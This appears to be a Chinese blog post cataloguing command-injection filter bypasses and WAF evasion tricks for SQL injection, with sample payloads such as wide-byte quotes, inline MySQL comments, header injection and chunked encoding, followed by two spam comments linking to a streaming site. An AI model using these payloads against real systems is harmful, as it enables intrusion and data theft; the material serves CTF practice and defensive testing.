常见的Bypass思路和技巧
1.替换
使用相同效果代替,通常用于rce
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
sort:可以查看
2.转义
cat flag ->ca\t fl\ag
cat flag -> ca"t flag
cat flag -> ca't flag
3.拼接
a=fl;b=ag;cat$IFS$a$b
4.空变量绕过
$*
$@
$x
${x}
ca$*t
ca$@t
ca$3t
ca${3}t
5.反引号绕过
`command`
6.base64编码绕过
7.同样的编码绕过
base64
hex
oct
8.内敛绕过
内敛,就是将命令
或$(命令)
内命令的输出作为输入执行
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
9.过滤文件读取
curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
10.过滤空格
<> (cat<>flag)
%20(space)
%09(tab) (cat%09flag.php)
$IFS$9
${IFS}
$IFS
(cat,flag)
11.关于ip地址的绕过
IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字
比如:百度的IP地址“39.156.69.79”转换成数字地址就是“664552783”。在浏览器中输入664552783就可以访问百度网站
转化网址:http://www.msxindl.com/tools/ip/ip_num.asp
12.waf双关键字绕过
部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。
增加了过滤规则的代码:
由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。
使用sleepsleep绕过
WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。
13.内联注释绕过
在MySQL里,/*/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)/),那么此注释里的语句将被执行。
正常
?id=1+and+sleep(3)+and+1=2
绕过
?id=1+and+/*!50001sleep(3)*/+and+1=1
14.请求方式差异规则松懈性绕过
有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。
正常
GET /xxx/?id=1+and+sleep(4)
绕过
POST /xxx/
id=1+and+sleep(4)
15.异常方法绕过
正常
GET/xxx/?id=1+and+sleep(3) HTTP/1.1
绕过
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1
使用异常方法绕过过滤规则检测,注入语句成功写入。
16. 超大数据包绕过
也就是所谓的脏数据
17.复参数绕过
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
正常payload:
?id=1+and+sleep(3)
绕过payload:
?id=1&id=2+and+sleep(3)
将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器。
18.%绕过
将WAF中过滤的敏感字符通过添加%绕过过滤。
例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin ?id=1union select 1, 2, 3 from admi
绕过payload:
?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin ?id=1union s%e%lect 1, 2, 3 from admin
19.协议未覆盖绕过
以下四种常见的content-type类型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。
例如使用multipart/form-data进行绕过。
20.宽字节绕过
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+
绕过payload:
?id=1%df%27and 1=1--+
%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。
21.%00截断
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
正常payload:
?a=1&id=1and sleep(3)
绕过payload:
?a=1%00.&id=1and sleep(3)
22.Cookie/X-Forwarded-For注入绕过
部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1
Host: 192.168.61.175
...........
Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
绕过payload:
GET /index.aspx HTTP/1.1
Host: 192.168.61.175
...........
Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--
23.利用pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
正常请求被拦截:
利用pipline进行绕过:
首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
24. 利用分块编码传输绕过
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。
通过分块传输进⾏绕过,将原始数据进行拆分小块,注意每个小块长度尽量不要设置太大,否则可能引起报错。
原始请求数据:
id=1 and 1=1 -- &submit=%E6%9F%A5%E8%AF%A2
分块传输数据:
4
id=1
5
and
3
1=1
4
--
8
&submit=
9
%E6%9F%A5
9
%E8%AF%A2
0
(两个换行)
评论2
ckxxjchbht
《守护解放西番外:我是检察官》记录片高清在线免费观看:https://www.jgz518.com/xingkong/32366.html
fqisctrrip
《怪医杜立德4:宠物司令官国语》喜剧片高清在线免费观看:https://www.jgz518.com/xingkong/132831.html